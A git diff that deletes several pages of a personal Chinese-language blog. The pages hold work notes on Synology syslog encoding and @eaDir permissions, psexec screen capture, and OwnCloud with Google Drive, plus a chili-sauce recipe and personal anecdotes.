    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e7-be-a4-e6-9a-89-e7-a7-91-e6-8a-80-synology-e7-9a-84-syslog-e4-b8-ad-e6-96-87-e4-ba-82-e7-a2-bc-e7-9a-84-e8-99-95-e7-90-86-e6-96-b9-e6-b3-95/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e7-be-a4-e6-9a-89-e7-a7-91-e6-8a-80-synology-e7-9a-84-syslog-e4-b8-ad-e6-96-87-e4-ba-82-e7-a2-bc-e7-9a-84-e8-99-95-e7-90-86-e6-96-b9-e6-b3-95/index.html deleted file mode 100644 index 22438956..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e7-be-a4-e6-9a-89-e7-a7-91-e6-8a-80-synology-e7-9a-84-syslog-e4-b8-ad-e6-96-87-e4-ba-82-e7-a2-bc-e7-9a-84-e8-99-95-e7-90-86-e6-96-b9-e6-b3-95/index.html +++ /dev/null @@ -1,459 +0,0 @@ - - - - - - - - - - [筆記]群暉科技 Synology 的 Syslog 中文亂碼的處理方法 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記]群暉科技 Synology 的 Syslog 中文亂碼的處理方法

    -
    - - - 2014-09-09 - - - - - - - - - 工作筆記 - - - - - -
    - - - - -

    因為開會時,被要求紀錄NAS上的檔案存取記錄

    - -

    想到群暉的NAS上,不曉得在哪一版DSM之後,就有提供這樣的功能

    - -

    控制台—>檔案服務—>勾選 啟動傳輸日誌

    - -

    2014-09-09_16-24-11

    - -

    接下來在系統中,就可以看到USER上來新增、修改、刪除之類的動作

    - -

    2014-09-09_16-25-18

    - -

    正所謂得隴望蜀,雖然在這邊已經可以查到記錄了,可是總是想要丟到SYSLOG Server去做處理比較快

    - -

    所以我把SYSLOG指定丟到我另一台 FreeBSD 9.1的 SYSLOG Server上

    - -

    丟出來是沒有碰到什麼問題,但是在SYSLOG Server上,看到的LOG都是亂碼

    - -

    2014-09-09_16-25-19

    - -

    發信件去給群暉,過了24小時也沒收到回信,想說還是靠自己比較快…

    - -

    翻了一下google 大神,發現 SYSLOG在處理中文上的確是有問題

    - -

    最後找到了這篇

    - -

    FreeBSD : syslogd 儲存的 UTF-8 編碼記錄變亂碼

    - -

    解決方法真的很簡單,就在syslog的啟動參數,多加一個 -8 ,然後重新啟動syslogd就好了 -> vi /etc/rc.conf -> -> -> syslogd_flags=”-8 -a 192.168.1.0/16:*” - 

    - -

    再來看一下檔案內容, YES ! 中文都可以看到了!這樣就方便過濾了!

    - -

    雖然馬賽克遮掉很多,但是應該可以看到中文可以正常顯示了!

    - -

    2014-09-09_16-25-20

    - -

     

    - -

    至於群暉那邊開好的TICKET….我看就等看看他們哪時候才要回覆我好了…

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e7-be-a4-e6-9a-89-synology-nas-e8-a8-8e-e5-8e-ad-e7-9a-84-eadir-e6-ac-8a-e9-99-90-e5-95-8f-e9-a1-8c-2/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e7-be-a4-e6-9a-89-synology-nas-e8-a8-8e-e5-8e-ad-e7-9a-84-eadir-e6-ac-8a-e9-99-90-e5-95-8f-e9-a1-8c-2/index.html deleted file mode 100644 index 7fd3b9f7..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e7-be-a4-e6-9a-89-synology-nas-e8-a8-8e-e5-8e-ad-e7-9a-84-eadir-e6-ac-8a-e9-99-90-e5-95-8f-e9-a1-8c-2/index.html +++ /dev/null @@ -1,474 +0,0 @@ - - - - - - - - - - [筆記] 群暉 Synology NAS 討厭的 @eaDir 權限問題 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 群暉 Synology NAS 討厭的 @eaDir 權限問題

    -
    - - - 2015-01-23 - - - - - - - - - 未分類 - - - - - -
    - - -

    這幾年用群暉的NAS下來,碰到一個問題一直無解 -> Problem Explanation: -> -> 共用資料夾已開放所有人可以讀取/寫入,也未開啟ACL -> 在共用資料夾底下的子目錄中的某個XLSX檔案,在不同電腦上用不同的網域帳號開啟並嘗試寫入時,會出現文件未儲存的錯誤訊息,關掉檔案之後,原始的XLSX會消 -> 失,只留下一個 xxxx.tmp檔案,將tmp重新命名為xlsx之後,又可以開啟。 -這是我幾年前問過的問題

    - -

    經過多次的信件往來、遠端操作之後,群暉客服回覆的答案是 -> 最後RD找出原因是 您提供的有問題的目錄底下 @eaDir 這個DSM系統資料夾權限有誤(沒有執行權限), -> -> 不確定 這顆硬碟 是不是由其它機種 轉移過來繼續使用的? -> -> 若下次您遇到同樣問題,可以到console下,輸入指令 「chmod 777 /共用資料夾/子目錄/@eaDir」 -> -> 就可以了。 -不過呢,因為這不是第一次碰到這種狀況

    - -

    所以我跟著回覆他們 -> 這台NAS上的資料都是從舊的RS810+移轉過來的 -> -> 這個@eaDir目錄造成的錯誤你們之前有回覆過 -> -> 那時候我有確認過是不是我找出所有 @eaDir目錄並且去 chmod 777 就可以解決 -> -> 你們給我的答案是肯定的 -> -> 當時的信件標題是: Synology Online Support #158881: [DS1812+ DSM 4.1-2647] -> -> 我有進入console直接下指令去把所有  @eaDir的權限改掉 -> -> 不過現在看來似乎是沒用,而且問題會不定時發生?? -> -> 是否有其他一勞永逸的方法可以避免再次碰到這種狀況? - 

    - -

    結果咧,這問題一再地重複發生

    - -

    當然啦,群暉始終沒有解決這個問題..

    - -

    所以我也不斷的碰到USER反映又再次發生,直到最近,連高階主管在操作時,也有一樣的狀況…

    - -

    一問之下,發現這問題已經兩三年了還沒解決,非常生氣…

    - -

    翻了一下 Google ,好像也有人的這個 @eaDir目錄有問題,不過沒有跟我一樣的狀況!?

    - -

    Anyway

    - -

    總之先記錄一下怎麼在console 去下指令批次修改 @eaDir 目錄的權限

    - -

    (BTW …群暉回覆我叫我登入console下指令的那段時間,我還有其他問題請他們協助,結果他們的回覆是叫我不要進console去下指令,這不是自打嘴巴嗎?…)

    - -

      -> NAS4100> find /volume1/財務部 -name “@eaDir” -exec chmod 777 -R {} “;” - 

    - -

    201409 在IE的部門目錄測試這個指令, 201410 問USER有沒有再次發生,USER是說沒有再碰到

    - -

    所以這次改下在F部門的目錄,看看還會不會碰到..

    - -

    Update 201501

    - -

    IE部門再次反應一樣的狀況,再次執行指令,看這次能撐多久…

    - -

     

    - -

     

    - -

    http://wp.me/p3h08f-dC

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e7-be-a4-e6-9a-89-synology-nas-e8-a8-8e-e5-8e-ad-e7-9a-84-eadir-e6-ac-8a-e9-99-90-e5-95-8f-e9-a1-8c/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e7-be-a4-e6-9a-89-synology-nas-e8-a8-8e-e5-8e-ad-e7-9a-84-eadir-e6-ac-8a-e9-99-90-e5-95-8f-e9-a1-8c/index.html deleted file mode 100644 index 18180813..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e7-be-a4-e6-9a-89-synology-nas-e8-a8-8e-e5-8e-ad-e7-9a-84-eadir-e6-ac-8a-e9-99-90-e5-95-8f-e9-a1-8c/index.html +++ /dev/null @@ -1,481 +0,0 @@ - - - - - - - - - - [筆記] 群暉 Synology NAS 討厭的 @eaDir 權限問題 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 群暉 Synology NAS 討厭的 @eaDir 權限問題

    -
    - - - 2014-10-16 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    這幾年用群暉的NAS下來,碰到一個問題一直無解 -> Problem Explanation: -> -> -> 共用資料夾已開放所有人可以讀取/寫入,也未開啟ACL -> -> 在共用資料夾底下的子目錄中的某個XLSX檔案,在不同電腦上用不同的網域帳號開啟並嘗試寫入時,會出現文件未儲存的錯誤訊息,關掉檔案之後,原始的XLSX會消 -> -> 失,只留下一個 xxxx.tmp檔案,將tmp重新命名為xlsx之後,又可以開啟。 -這是我幾年前問過的問題

    - -

    經過多次的信件往來、遠端操作之後,群暉客服回覆的答案是 -> 最後RD找出原因是 您提供的有問題的目錄底下 @eaDir 這個DSM系統資料夾權限有誤(沒有執行權限), -> -> -> 不確定 這顆硬碟 是不是由其它機種 轉移過來繼續使用的? -> -> -> 若下次您遇到同樣問題,可以到console下,輸入指令 「chmod 777 /共用資料夾/子目錄/@eaDir」 -> -> -> 就可以了。 -不過呢,因為這不是第一次碰到這種狀況

    - -

    所以我跟著回覆他們 -> 這台NAS上的資料都是從舊的RS810+移轉過來的 -> -> -> 這個@eaDir目錄造成的錯誤你們之前有回覆過 -> -> -> 那時候我有確認過是不是我找出所有 @eaDir目錄並且去 chmod 777 就可以解決 -> -> -> 你們給我的答案是肯定的 -> -> -> 當時的信件標題是: Synology Online Support #158881: [DS1812+ DSM 4.1-2647] -> -> -> 我有進入console直接下指令去把所有  @eaDir的權限改掉 -> -> -> 不過現在看來似乎是沒用,而且問題會不定時發生?? -> -> -> 是否有其他一勞永逸的方法可以避免再次碰到這種狀況? - 

    - -

    結果咧,這問題一再地重複發生

    - -

    當然啦,群暉始終沒有解決這個問題..

    - -

    所以我也不斷的碰到USER反映又再次發生,直到最近,連高階主管在操作時,也有一樣的狀況…

    - -

    一問之下,發現這問題已經兩三年了還沒解決,非常生氣…

    - -

    翻了一下 Google ,好像也有人的這個 @eaDir目錄有問題,不過沒有跟我一樣的狀況!?

    - -

    Anyway

    - -

    總之先記錄一下怎麼在console 去下指令批次修改 @eaDir 目錄的權限

    - -

    (BTW …群暉回覆我叫我登入console下指令的那段時間,我還有其他問題請他們協助,結果他們的回覆是叫我不要進console去下指令,這不是自打嘴巴嗎?…)

    - -

      -> NAS4100> find /volume1/財務部 -name “@eaDir” -exec chmod 777 -R {} “;” - 

    - -

    201409 在IE的部門目錄測試這個指令, 201410 問USER有沒有再次發生,USER是說沒有再碰到

    - -

    所以這次改下在F部門的目錄,看看還會不會碰到..

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e8-83-8c-e6-8a-95-e5-bd-b1-e4-ba-ba-e5-bd-a2-e5-b1-95-e7-a4-ba-e7-ab-8b-e7-89-8c/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e8-83-8c-e6-8a-95-e5-bd-b1-e4-ba-ba-e5-bd-a2-e5-b1-95-e7-a4-ba-e7-ab-8b-e7-89-8c/index.html deleted file mode 100644 index e14136e7..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e8-83-8c-e6-8a-95-e5-bd-b1-e4-ba-ba-e5-bd-a2-e5-b1-95-e7-a4-ba-e7-ab-8b-e7-89-8c/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - [筆記] 背投影人形展示立牌 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 背投影人形展示立牌

    -
    - - - 2013-03-28 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    昨天去參加精誠的研討會時,他們在現場展示的。滿有趣的東西,不過稍嫌死板了點。 現場看的時候,投影出來的文字很粗,幾乎都糊掉了,看不清楚。 不過廠商表示這是兩三年前的產品,已經有1080P的機種,不會再有這問題。 OS:那你擺個老東西出來幹嘛??

    - -

    不過很特別的是,從正前方看,和一般投影機不同,眼睛不會被強烈光線直射,據說是因為啥魚眼鏡頭又是啥聚焦原理的,聽不太懂。

    - -

    我是有問說能不能跟觸控結合,廠商表示也OK,但是就是比較高階的機種了。

    - -

    http://www.youtube.com/watch?v=YAXHkN2fu_w

    - -

    可能大概應該我想一組售價會在20-30左右..

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e8-87-aa-e8-a3-bd-e8-92-9c-e9-a0-ad-e8-be-a3-e6-a4-92-e9-86-ac/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e8-87-aa-e8-a3-bd-e8-92-9c-e9-a0-ad-e8-be-a3-e6-a4-92-e9-86-ac/index.html deleted file mode 100644 index 78fea3f1..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e8-87-aa-e8-a3-bd-e8-92-9c-e9-a0-ad-e8-be-a3-e6-a4-92-e9-86-ac/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - [筆記]自製蒜頭辣椒醬 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記]自製蒜頭辣椒醬

    -
    - - - 2017-01-20 - - - - - - - - - 其他 - - - - - -
    - - -

    Julia Teng 發表於 飛利浦智慧萬用鍋的料理方法分享園地

    - -

    做法很簡單,新鮮蒜頭半斤剝皮切碎,新鮮辣椒200公克(愛吃辣的可以買朝天椒)洗淨晾乾或擦乾後切碎。全部放入玻璃罐中,放入3湯匙的鹽,攪拌一下,讓鹽均勻分佈在蒜頭和辣椒上,再倒入米酒至八分滿。加蓋後放置陰涼處1~1.5小時醃一下,再倒入醬油至全滿。稍微攪拌一下,蓋上蓋子後放冰箱醃1星期即可享用香香辣辣的蒜頭辣椒醬油囉!每次食用要用乾淨無水的湯匙搯出來,我的經驗是可以保存半年以上。(p.s. 建議切辣椒時,沒拿刀的手要戴吃手扒雞的透明手套,或是用食物料理機處理,不然手會辣到像火燒。

    - -

     

    - -

    2017-01-20_15-01-59

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e8-98-8b-e6-9e-9c-e6-89-8b-e6-a9-9f-e3-80-81-e7-ad-86-e9-9b-bb-e3-80-81-e6-a1-8c-e6-a9-9f-e5-af-84-e5-87-ba-e7-9a-84-e4-bf-a1-e4-bb-b6header/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e8-98-8b-e6-9e-9c-e6-89-8b-e6-a9-9f-e3-80-81-e7-ad-86-e9-9b-bb-e3-80-81-e6-a1-8c-e6-a9-9f-e5-af-84-e5-87-ba-e7-9a-84-e4-bf-a1-e4-bb-b6header/index.html deleted file mode 100644 index 9207083e..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e8-98-8b-e6-9e-9c-e6-89-8b-e6-a9-9f-e3-80-81-e7-ad-86-e9-9b-bb-e3-80-81-e6-a1-8c-e6-a9-9f-e5-af-84-e5-87-ba-e7-9a-84-e4-bf-a1-e4-bb-b6header/index.html +++ /dev/null @@ -1,421 +0,0 @@ - - - - - - - - - - [筆記] 蘋果手機、筆電、桌機寄出的信件Header | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 蘋果手機、筆電、桌機寄出的信件Header

    -
    - - - 2014-12-01 - - - - - - - - - 未分類 - - - - - -
    - - -

    iPhone -> X-Mailer: iPhone Mail -Mac Mini , Encourgea -> User-Agent: Microsoft-Entourage/12.0.0.071130 -Mac Mini , Default System Mail -> Mime-Version: 1.0 (Apple Message framework v1283) -> -> X-Mailer: Apple Mail (2.1283) -MacBook Air -> X-Mailer: Apple Mail (2.1990.1) -> -> -> Content-Type: multipart/alternative; boundary=“Apple-Mail=_F0450FDD-9C23-4092-9F0F-170305E65288” -> -> -> Mime-Version: 1.0 (Mac OS X Mail 8.0 (1990.1)) - 

    - -

     

    - -

    透過Google 代發? -> X-Google-Original-From: ABC <abc@abc.com.tw> - 

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e8-a7-a3-e6-b1-ba-psexec-e5-9f-b7-e8-a1-8cscreen-capture-e7-9a-84-e7-a8-8b-e5-bc-8f-e6-99-82-ef-bc-8c-e5-8f-aa-e6-9c-83-e6-8a-93-e5-88-b0-e4-b8-80-e7-89-87-e9-bb-91-e7-9a-84/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e8-a7-a3-e6-b1-ba-psexec-e5-9f-b7-e8-a1-8cscreen-capture-e7-9a-84-e7-a8-8b-e5-bc-8f-e6-99-82-ef-bc-8c-e5-8f-aa-e6-9c-83-e6-8a-93-e5-88-b0-e4-b8-80-e7-89-87-e9-bb-91-e7-9a-84/index.html deleted file mode 100644 index e5dc4769..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e8-a7-a3-e6-b1-ba-psexec-e5-9f-b7-e8-a1-8cscreen-capture-e7-9a-84-e7-a8-8b-e5-bc-8f-e6-99-82-ef-bc-8c-e5-8f-aa-e6-9c-83-e6-8a-93-e5-88-b0-e4-b8-80-e7-89-87-e9-bb-91-e7-9a-84/index.html +++ /dev/null @@ -1,407 +0,0 @@ - - - - - - - - - - [筆記] 解決 psexec 執行screen capture 的程式時,只會抓到一片黑的問題 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 解決 psexec 執行screen capture 的程式時,只會抓到一片黑的問題

    -
    - - - 2017-06-08 - - - - - - - - - 其他 - - - - - -
    - - -

    一開始這樣指令這樣下 -> psexec \192.168.70.133 -s  “\192.168.70.133\c$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\test_free_image.exe” -結果發現雖然會執行,但是抓到的畫面只有一片黑

    - -

    後來翻了一下google,發現跟什麼互動式登入有關,要多加個參數 -i -> psexec \192.168.70.133 -s -i “\192.168.70.133\c$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\test_free_image.exe” -這樣子就可以了!

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e8-a8-ad-e5-ae-9agoogle-api-e8-ae-93owncloud-e5-8f-af-e4-bb-a5-e6-8f-90-e4-be-9b-external-storage-e6-9c-8d-e5-8b-99/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e8-a8-ad-e5-ae-9agoogle-api-e8-ae-93owncloud-e5-8f-af-e4-bb-a5-e6-8f-90-e4-be-9b-external-storage-e6-9c-8d-e5-8b-99/index.html deleted file mode 100644 index f9fb8171..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e8-a8-ad-e5-ae-9agoogle-api-e8-ae-93owncloud-e5-8f-af-e4-bb-a5-e6-8f-90-e4-be-9b-external-storage-e6-9c-8d-e5-8b-99/index.html +++ /dev/null @@ -1,542 +0,0 @@ - - - - - - - - - - [筆記]設定Google API 讓OwnCloud 可以提供 External Storage 服務 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記]設定Google API 讓OwnCloud 可以提供 External Storage 服務

    -
    - - - 2015-01-13 - - - - - - - - - 工作筆記 - - - - - -
    - - - - -

    設定Google API 讓OwnCloud 可以提供 External Storage 服務

    - -

    之前因為要測試私有雲的關係,所以弄了一台 OwnCloud 起來玩

    - -

    但是因為機器放在ESXI 上,已經沒有太大的空間可以來丟東西,而且畢竟只是測試用,開那麼大的空間好像也不太對

    - -

    後來看到一些文章,說OwnCloud 有支援External Storage 的選項,可以把Amazon S3 / Google Drive/WebDAV 這些空間MOUNT進來變成自己的儲存空間

    - -

    形成一個沒有 local storage 的private cloud

    - -

    底下簡單說明測試 設定Google API 讓OwnCloud 可以提供 External Storage 服務 的步驟

    - -

    owncloud 基本安裝設定可以參考  [筆記] CENTOS 7+OWNCLOUD+LDAP+AD 認證設定 這篇

    - -

     

    - -
    - -

     

    - -

    登入OwnCloud 的管理者介面,到應用程式確認 External Storage 選項有啟用 p.s 不知道為何,要進入應用程式這個選項都要很久很久….

    - -

    2015-01-13_17-18-57

    - -

    再來先登入 Google Develop Console,選擇左邊選單的API和驗證–>API ,當然前提是在這邊要先建立好專案等等的基本設定,這部分就不多提

    - -

    點API之後,右邊會列出現在系統上有提供的API,預設應該是沒有啟用 Drive API / Drive SDK

    - -

    所以要去啟用,

    - -

    2015-01-13_16-57-40

    - -

     

    - -

     

    - -

    啟用之後,在畫面上就可以看到 Drive API 之後多了個齒輪的圖示

    - -

    2015-01-13_16-58-12

    - -

    點齒輪進去看看狀況!

    - -

    2015-01-13_16-58-21

    - -

    沒有啥東西,所以點那個前往原始控制台看看,這裡就有一些選項需要設定了

    - -

    首先輸入 Application Name ,然後要選擇Icon

    - -

    下面還有一些選項,可以看情況決定要不要點選,不過就算都沒勾選,也不會影響owncloud 作業就是

    - -

    2015-01-13_16-59-03

    - -

     

    - -

    Open URL 是必填選項,不過因為不知道要填什麼,所以我把等下才要用到的URL貼過來

    - -

    http://you_owncloud_server_hostname/owncloud/index.php/settings/personal

    - -

     

    - -

    2015-01-13_17-00-09

    - -

     

    - -

    存檔之後,進行下一步

    - -

    在左邊選單選擇 API Access ,然後點選那個大大的藍色的 Create an OAuth 2.0 client ID

    - -

    2015-01-13_17-00-59

    - -

     

    - -

     

    - -

    接下來要填一些選項, Application type 選 Web application

    - -

    其他部分其實可以先不管,等下再來修改。

    - -

    2015-01-13_17-01-35

    - -

     

    - -

    上面的步驟完成後,就會看到底下片這樣的畫面,右邊會有個 edit setting ,進去編輯

    - -

     

    - -

    2015-01-13_17-02-40

    - -

     

    - -

    編輯 Authorized Redirect URIs

    - -

    這邊參考官方文件 http://doc.owncloud.org/server/6.0/user_manual/external_storage/google_drive.html

    - -

    需要輸入 ->

    https://your-internet-domain/owncloud/index.php/settings/personal
    ->
    -> https://your-internet-domain/owncloud/index.php/settings/admin
    -有沒有 https 無所謂,重點是你要能夠用 hostname 連這台 OwnCloud ,不能用 IP (不管是 Public / Private 都不行,google API 不接受 ) -下面那個 Authorized Java Script 就不管他了,預設會幫你改成上面的 hostname ,我是順手再把他改回 example.com2015-01-13_17-36-03

    - -

     

    - -

    接著回到 OwnCloud 的管理介面

    - -

    在External Storage 部分選擇新增 類型選擇 Google Drive

    - -

    再填入 Client ID和 Client Secret ,這邊要特別注意複製、貼上時候是不是選擇了完整的字串,不能多也不能少

    - -

    曾經在這邊卡關一個多小時,一直認證失敗,後來發現網路上有人說 Client Secret 最後面會多一個空格,要手動刪除……..

    - -

    不過我後續操作也沒有碰到類似狀況了(Google 好像還在持續改操作介面,寫這篇的時候,跟我最早開始操作的畫面就不太一樣)

    - -

    總之,要複製貼上時,最好都先貼到記事本去確認

    - -

    輸入完 Client ID / Client Secret 之後,點一下允許存取,會跳到 Google 要求驗證的畫面,在那邊點確定(忘了截圖)

    - -

    再回來看,就可以看到燈號變成綠色,可以運作了。

    - -

    繼續指定這個空間給要開放的群組,設定就算完成了。

    - -

    2015-01-13_17-42-17

    - -

     

    - -

     

    - -

    測試一下在網頁上新增一個  test.txt ,在 Client 端當然也會跟著自動更新!

    - -

    2015-01-13_17-46-50

    - -

     

    - -

    不過不知道為什麼,這次的同步時間比較久,記得上次測試是正常的,可能還要再觀察看看!

    - -

    底下是分別在 Server上傳一個 1.png & 在 Client 貼上一個 png 檔案後的狀況,還是可以同步,但是中間大概等了一分鐘…(是我太貪心了嗎? ….)

    - -

    2015-01-13_17-52-27

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e8-a9-ad-e7-95-b0-e7-9a-84-yahoo-e4-bf-a1-e7-ae-b1-ef-bc-86facebook-e5-b8-b3-e8-99-9f/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e8-a9-ad-e7-95-b0-e7-9a-84-yahoo-e4-bf-a1-e7-ae-b1-ef-bc-86facebook-e5-b8-b3-e8-99-9f/index.html deleted file mode 100644 index 0302aa86..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e8-a9-ad-e7-95-b0-e7-9a-84-yahoo-e4-bf-a1-e7-ae-b1-ef-bc-86facebook-e5-b8-b3-e8-99-9f/index.html +++ /dev/null @@ -1,454 +0,0 @@ - - - - - - - - - - [筆記] 詭異的 Yahoo信箱&Facebook帳號 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 詭異的 Yahoo信箱&Facebook帳號

    -
    - - - 2015-08-18 - - - - - - - - - 其他 - - - - - -
    - - -

    好吧,這是一件,沒啥飄點,但有點小詭異的事情,來「分享」一下。

    - -

    我有個在yahoo用了十幾年的帳號,帳號名稱是我姓名的英文拼音,總共有13碼。這個帳號我一直以來都是用來登入Yahoo拍賣買東西,很少會去YAHOO的電子郵件檢查信件。

    - -

    剛剛要找個東西,發現google打不開,所以我開了YAHOO來搜尋,然後YAHOO首頁的右上角就會出現你有幾封信件這樣,想說都好幾年沒登入了,來去看看好了。

    - -

     

    - -

    - -

    進入信箱之後,發現收件夾有六千多封信件,不意外啊,一定是一堆垃圾信件,我還在想說有什麼ANTI-SPAM軟體硬體的,應該多註冊一些YAHOO信箱來收集這些垃圾信件作為資料庫的。順手點了一下收件夾,發現信箱都是 20132012 左右的信件,很正常啊,我就說我很久沒用了啊,不過,為什麼會有facebook 的通知信件?我印象中沒有用這個帳號去申請臉書啊!?可能是我要製造分身,所以有申請過,卻忘記了??

    - -

    2015-08-18_15-03-29

    - -

     

    - -

    既然都已經登入,又對這個臉書帳號有疑問,想說上去看看好了,搞不好是當時要把妹所以才建立分身  XD

    - -

    登入臉書後也找不到啥異常,塗鴉牆上也都是一些看來很正常的訊息,完全沒有正妹圖片,也沒有FOLLOW啥妹子,完全就不像是我的風格..

    - -

    不過,有新訊息耶,難不成真的拿來跟妹子聊天??點進去訊息看看好了

    - -

    前面看起來還真像是妹子的留言,害我頓了一下,想說這是哪位??

    - -

    結果看到最後一則,靠北啊!!瞎瞇上山看我,瞎瞇另一個世界是怎樣啦!!!

    - -

     

    - -

    2015-08-18_15-39-34

    - -

     

    - -

     

    - -

    這個帳號應該是從我退伍開始就註冊了,前面說過,我也一直有用這個帳號在YAHOO拍賣買東西,評價都快破三百了呢(驕傲

    - -

    證明這個帳號的確是我的,我還去確認一下帳號訊息是不是正確

    - -

    這些資訊完全正確!沒有問題啊!

    - -

     

    - -

     

    - -

    所以,真的有人用我的帳號去註冊臉書?我記得臉書不是會發確認通知到註冊的信箱嗎?難道我的信箱有被別人拿來用過??

    - -

    可是我一直在用YAHOO拍賣,都沒有發生什麼異常啊?而且我要登入這個信箱時,也沒碰到啥密碼驗證錯誤的狀況啊?

    - -

    搞得小生我心驚驚啊~~~

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
